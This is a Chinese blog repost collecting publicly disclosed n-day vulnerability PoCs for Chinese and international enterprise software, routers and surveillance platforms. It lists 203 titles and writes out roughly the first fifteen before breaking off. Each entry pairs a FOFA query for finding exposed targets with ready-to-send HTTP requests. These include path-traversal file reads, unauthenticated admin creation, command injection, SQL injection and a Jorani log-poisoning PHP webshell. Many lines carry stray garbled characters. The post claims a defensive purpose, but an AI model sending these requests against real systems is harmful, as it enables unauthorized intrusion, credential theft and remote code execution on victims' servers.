互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
) m! i- a  Y/ v4 Z/ E/ ~道一安全 2024-06-05 07:41 北京
+ H$ m1 O! U3 R' c8 A* T; e1 `以下文章来源于网络安全新视界 ，作者网络安全新视界
, G' f8 J' S( Q) D) k5 e9 a7 S
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
+ ?3 ?: r6 a) O8 e6 i$ `  q
! i5 G* N2 |2 K% N; G0 O. ~漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
' x" h( R8 @. [, t  {2 b+ p2 _  A" T( ^
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

0 b$ S- H+ Q; h0 o8 L合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
, l+ _4 ?$ t& X+ V
+ D& S  d: S( ]5 V! m" S
5 O2 c1 @5 i/ l+ ?1 ^声明
+ f7 [0 n: Q6 y% z
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
* `, F5 }5 u0 f
. g- o: R5 q; b4 R7 Q" j( U有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


8 D. T, _4 h; ]
, R: |% j/ E0 k, `) H: h! y目录

01
+ [3 {' B9 c$ |# p3 f% F
" |) x& {( ^5 L1. StarRocks MPP数据库未授权访问
) ?9 j/ O& g# I6 m3 C) K5 b$ N2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
6 p7 q0 r5 D2 K5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
9 i# p' e7 D1 i, W6 b3 l7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
- h1 A5 H3 {% u" l6 L6 X( Z10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" i# u5 r7 g9 w1 W12. Jorani < 1.0.2 远程命令执行
* g& j, S* p& d2 S13. 红帆iOffice ioFileDown任意文件读取
) H4 K- n, H6 e5 z7 `2 V14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
2 s; R0 Z! E- M: L8 [" f: e16. 红帆HFOffice医微云SQL注入
* z  ~& @# K( i5 A0 U! J17. 大华 DSS itcBulletin SQL 注入
0 E' E& u/ x6 L0 x5 \18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
( N1 P+ m$ d! G8 d21. 大华ICC智能物联综合管理平台random远程代码执行
! l1 ^  ^& O& E6 o2 i" j! L* H" |22. 大华ICC智能物联综合管理平台 log4j远程代码执行
4 W& U0 ?8 t5 p2 h/ R( a23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
0 o+ H5 m- _  c+ e24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
5 p" |7 J8 ^" @- O' P1 ?  l8 @9 M27. 用友 NC showcontent SQL注入
5 t3 T* m! l. p6 \( Q# \28. 用友NC grouptemplet 任意文件上传
- c& B4 ~5 R7 A3 n$ s29. 用友NC down/bill SQL注入
9 M7 @: @' j1 J) d30. 用友NC importPml SQL注入
2 w6 r, O+ m. L8 t# m31. 用友NC runStateServlet SQL注入
, T. d4 l+ E/ F4 d+ k32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
' g+ k# D% y$ k) w, I- v1 l4 q36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
7 z+ C: ]) b/ Y/ ~: t44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
( f/ Y$ q, b& f) C" r# U46. 用友GRP-U8 sqcxIndex.jsp SQL注入
& {$ k% V* J1 ]% Y' [0 w3 t3 ^47. 用友GRP A++Cloud 政府财务云 任意文件读取
* l3 v9 U6 k  a8 F. G8 z8 R48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
; U- ~% C8 m7 U53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
3 m' |- q2 n) k2 i56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
. B6 C0 ?0 a' G, f, d1 }) R* u59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
  m' t5 a; |4 H6 L* ^/ A61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
# A  n- H, Y  C9 x8 T. J64. 捷诚管理信息系统CWSFinanceCommon SQL注入
) U" {4 W) H+ I7 a. A65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
8 q* v) k( W0 Z, ], I69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
! N5 y' H4 J: J( ^* \8 p0 D2 r, Q% ]9 z71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
: i9 Z/ M7 I. |, G+ B74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
: e" V# ?9 x$ ~  v# g( l78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
" Y+ h( ^( L9 d7 ]7 x* u8 `& v80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
- P* n3 s: j* e( l- O) k81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
+ y% ^1 l+ ?/ W$ |5 H4 i$ V82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
# l- K6 i5 h; @) d  V0 t83. JeecgBoot testConnection 远程命令执行
/ L) E9 g$ e' |3 W, e84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
+ W8 k3 c" T5 b4 k87. 安恒明御安全网关aaa_local_web_preview文件上传
1 {6 z2 J5 x% ]9 B2 G88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
; B& x+ a0 i/ |" _% F' _8 U90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
, Z# e2 O2 [7 Z$ N5 q+ O91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
9 D$ D. V  t6 h4 U* @4 D92. 海康威视运行管理中心session命令执行
: k8 A* h0 \- B& _93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
8 G: J* g; k! o* N) ~, m95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
0 i  k  U. M. D, y9 u8 S, O9 v96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
$ Y: i- t& t2 r% e% m9 w# X" t99. Ncast盈可视高清智能录播系统busiFacade RCE
0 E) E4 Y6 i9 t5 i+ `' t/ P3 }100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
, \4 D* s+ y% m9 l- s) g101. ivanti policy secure-22.6命令注入
8 x3 D& m4 k# V9 f: q+ S- Q; Q102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
7 c: F6 f4 V& n( C' }) {0 ]103. Ivanti Pulse Connect Secure VPN XXE
' x$ P$ Z3 `4 q1 F; t104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
+ L* W; d6 ]+ W4 M9 K106. SpringBlade dict-biz/list SQL 注入
+ e) m4 g; z8 d) V107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
2 n& Q; _9 Z+ e111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
$ ], ?1 w8 i3 c3 k! V) B" r114. WordPress MasterStudy LMS插件 SQL注入
- L. S$ ?" g6 s  n115. WordPress Bricks Builder <= 1.9.6 RCE
3 w: R6 D) _. I5 s116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
) ~# k- e6 o& l: |0 x2 s122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
/ F; r' u$ l' @) M& @124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
9 Z# `" n6 @# c( N) x& P9 _! X/ @127. 广联达Linkworks DataExchange.ashx XXE
0 E% n6 q  b% \128. Adobe ColdFusion 反序列化
& {8 c2 Y  _4 w$ y129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
8 s5 z# l$ q0 H133. H5 云商城 file.php 文件上传
/ I- W8 G! a! r134. 网康NS-ASG应用安全网关index.php sql注入
/ S$ h% X- Z9 Q135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
3 c6 z5 ?. M. e6 v% ]$ b137. 福建科立迅通信指挥调度平台down_file.php sql注入
: I$ _8 r! c+ Z+ Q138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
1 ^* I) d' D0 Y142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
3 P5 c  Y& m+ h$ I- \151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
: F! n3 [$ n, D+ A* o! w155. 六零导航页 file.php 任意文件上传
  X+ a4 g1 ?2 E0 X1 A; ?/ h156. TBK DVR-4104/DVR-4216 操作系统命令注入
* w5 @; k3 e. R# T157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
0 m7 c. N$ a% D5 ]8 Y: Z) ]" q% ?* `! _160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
' p( N3 f2 F2 i: B5 M8 I163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
# P0 G: W( r* T" e6 ]- c4 o164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
0 w) j3 h  T2 t, [  @169. 宏景EHR downlawbase SQL注入
* ~( y; M- F) j$ B170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
$ E+ N% |3 H+ ^174. 金和OA C6 FileDownLoad.aspx 任意文件读取
: f0 s( P# B, [3 D175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
) N6 o% D# u& Z3 H6 `0 `) F178. H3C校园网自助服务系统-flexfileupload-任意文件上传
9 I& @2 }$ a* R  j4 @179. 建文工程管理系统存在任意文件读取
* A9 {4 P+ S) e- ^7 ]180. 帮管客 CRM jiliyu SQL注入
3 m: S& d( L' |  ?/ O; Y181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
- L; Z6 q# z; k' [' x$ E/ K185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
! \; N. y4 a# N0 x189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
/ z- m# v2 ]4 @) ?% x  ~2 D191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
1 K& [/ k; ^5 Y1 u& F; B193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
7 D$ j# k' D8 u  W  y& [198.  阿里云盘 WebDAV 命令注入
; a& m6 M0 Y, U0 b$ X8 i' X- Q; s199. cockpit系统assetsmanager_upload接口 文件上传
9 I1 G7 {2 E  D6 e8 B- P200. SeaCMS海洋影视管理系统dmku SQL注入
2 `! c7 s! M- Y/ O. Z5 r0 ]201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
5 s* k9 G7 V. H( s+ N$ z203. 红海云EHR PtFjk 文件上传
* K/ ^5 C! s& u7 E
# U! v# S& O, ~5 d1 a0 Y4 f, yPOC列表
( O! _3 n, Q; w
02
# `* d" C+ L% |1 ~+ G; K  ~* n
+ ]. W- q8 Z6 n: {1. StarRocks MPP数据库未授权访问
) g2 _0 C0 N1 ZFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
+ @4 S" r! j2 X1 sHost: URL
/ d, m% u. M3 a, P' E. v5 V
: c6 b6 U3 E7 f! ]/ R$ t; ]
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
% l/ v/ ?) Q, C& i; rGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
7 D' l8 o: _. @& IAccept-Language: en
( X- u3 |8 T' w' W! m/ zAccept-Encoding: gzip
" \; L- h' ]  a* ]  u

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
0 R8 j- s' E+ p3 e* AGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
0 i  C' J" Z& j0 \* z
5 P" ^( |+ K+ G7 G
" X0 q) X, o: f& q8 A6 i4. EasyCVR视频管理平台存在任意用户添加
, |3 y: |  Z: m& t. @1 e1 {FOFA ：title="EasyCVR"

- q8 x7 A6 O4 l4 Tpassword更改为自己的密码md5
! |7 Q" l2 M' _3 LPOST /api/v1/adduser HTTP/1.1
6 u3 v: r; r4 c/ vHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
( ~# Z# Q- T* c+ X+ J

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
! _' q$ Y9 x! B8 _+ x. m1 E! ZGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
: y: p- c, j; l+ Q: z& a) z& iHost: xx.xx.xx.xx


, N, c" M( O; O4 E6. 深信服 NGAF 任意文件读取
' @% D9 R3 R' r  ~  W  Y& W* VFOFA：title="SANGFOR | NGAF"
" i) Y7 p4 m2 O0 V: h- qGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

! P( f( \. ~9 @+ F$ t  o* U9 l
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
; a( o% Y+ W1 b* M4 O  O7 @

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
( G& R  n; g( y2 z: \: h0 R默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
! }6 R& K* X/ p  d. lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
* q8 R( W, P8 T, |7 yUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 u& q5 j/ @9 C% q  K; ?
3 f6 G4 ]1 Z3 x& [. Z------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
2 e* \& d8 {5 c0 T: C4 i------WebKitFormBoundaryxbgjoytz
% q  F9 A7 p1 J! W# K0 y, ^Content-Disposition: form-data; name="wifiRebootrange"
4 L$ y- w6 z; T5 w# A9 {
/ S6 M! ?5 j6 ?  D6 `12:00; id;
------WebKitFormBoundaryxbgjoytz
; ~* N  s2 R6 e8 JContent-Disposition: form-data; name="wifiRebootendrange"
  N8 z. T% z; d( s5 x
3 r8 o! {) i8 U1 Y& U4 z5 ?  V# h%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"

0 `" R6 x* Y3 O' T9 |
8 N8 K9 U! T7 P------WebKitFormBoundaryxbgjoytz--


$ D- b/ d5 j8 B5 q5 g9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
1 U7 o$ X3 P, g% q( r0 [Host: x.x.x.x


% L. [: Y; ^. A7 |& kpayload为下列语句的二次Url编码
: l! T% s2 h* f6 Q# q# R4 Z
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
1 w) A) I: A7 S' T0 r, E
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
' f+ F: _8 l& W& n' W- l9 v3 D  hFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
/ J5 Y5 G' _0 o: N; dPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
7 ^4 t" h$ u& K& P2 p! }' m; H$ fContent-Length: 197
, V% }& e6 S  f" RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
% ~5 Q$ A2 a+ DAccept-Language: zh-CN,zh;q=0.9
- R: r( @: ~4 k8 t* iConnection: close
' s4 V8 {9 F) r9 o: x* EContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
9 q2 ^: c; r- q$ n" ]$ o7 q6 o
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
! K5 g+ n- Z/ k  E' o' f7 g' |" mContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
( _/ H3 Q! s7 n7 m0 a
  j8 p% I! `! A; p
) X1 r% r5 t1 m) j11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
- t2 W" l1 E2 N) }, ?! t7 K" O$ L. }GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
% b, l3 y0 N3 Q$ r& [* iHost: 127.0.0.1
Pragma: no-cache
4 w# h6 A8 o$ g- a% kCache-Control: no-cache
$ L- s  m- [* ?" ]3 _; P, [Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( P5 i# T2 Z) D- L2 l; `' {5 XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& v5 i" W! a4 x* E* L& V' N/ |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
; a) W/ t/ c" ~! K+ w' O" e
4 f& a( w- f4 t6 j* a$ v5 x
12. Jorani < 1.0.2 远程命令执行
% ]; z3 F1 U$ d3 I; KFOFA：title="Jorani"
* [7 ^* L2 r; V; k# E( v第一步先拿到cookie
4 ^0 V8 d4 J0 W, |, r/ Z+ N+ rGET /session/login HTTP/1.1
! b- [% v  L2 w& k, b- g% PHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

" p! P" `. v' `# `% {
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
2 V, G& y* ~# e0 G# J' G& M! tConnection: close
0 ^- c% B0 T! aCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
: s2 B( v2 N2 ^+ m1 ]Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
! I/ w; l3 }7 ZLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
  e7 C3 T4 \$ ]2 \% X6 QPragma: no-cache
  a2 n, x2 k6 j  |) M9 kServer: Apache/2.4.54 (Debian)
* Z2 W! o4 B9 G; p; A' GSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
4 ?! b+ _5 m1 u3 \Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
/ |! R4 n8 D& ?; h# WVary: Accept-Encoding


POST请求，执行函数并进行base64编码
. a2 k$ D' ^+ K) f# o/ b5 PPOST /session/login HTTP/1.1
Host: 192.168.190.30
6 ]1 Y) u% n, a! O  qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
$ h+ V9 R+ D% d# X. v2 xConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
$ A0 v  A" f" j' B" jAccept-Encoding: gzip

1 p5 q! a$ x. V: \csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
: y' K( L8 e( ~6 Z' l

" \+ e1 f. E$ V0 k, T: ^9 x
2 M& K0 j& N+ k" ]5 a向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
% y/ V: e  ]1 s9 G4 cGET /pages/view/log-2023-10-24 HTTP/1.1
. m* C- L( H& {! k0 iHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
6 Y% Y5 g  T% [* A6 b9 Z3 m$ tCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
: O) e& |. R3 D# M  AX-REQUESTED-WITH: XMLHttpRequest
9 N6 \, \0 s1 w5 w8 c1 X# vAccept-Encoding: gzip
: r, v7 R( y3 C: {& Y- o
  l5 q6 ]  G& q# O1 ~$ [" h# q
/ [9 ]3 h7 v- ]. S  {# ]13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, _  _4 ~% ^* ~: \. c* EConnection: close
. g0 e2 A" G- ~1 vAccept: */*
Accept-Encoding: gzip
! m" {) u/ O# P: @
; `, d. I1 I1 k! x. x2 t3 `5 ~
* ]4 p- P5 ~1 u7 j# I' G7 s14. 华夏ERP（jshERP）敏感信息泄露
* y2 e* q8 E# T) w6 b3 VFOFA：body="jshERP-boot"
( D! A7 k0 ~6 l, W% P5 D' v5 j泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
. h1 P! `$ r+ W: f: N4 gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
9 D/ B1 c; Y1 Q' o9 _Accept: */*
+ F4 X* U0 \8 JAccept-Language: en
/ Q" c! n. O; u) wAccept-Encoding: gzip
0 I! ]" r0 ~6 P; W  D; p
- Q) a: b& g1 U* Q
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
" g7 O/ h4 f. g$ p' Y0 V% \泄露内容包括用户名密码
+ U1 q4 R1 Z+ p& AGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
: m/ I, s7 k9 I/ m* YHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
/ ]% W+ H9 H* k# v# l: r4 aConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
" S# K& P: \# O. ysec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
) z8 |# m' F0 K7 M% v6 wFOFA：title="HFOffice"
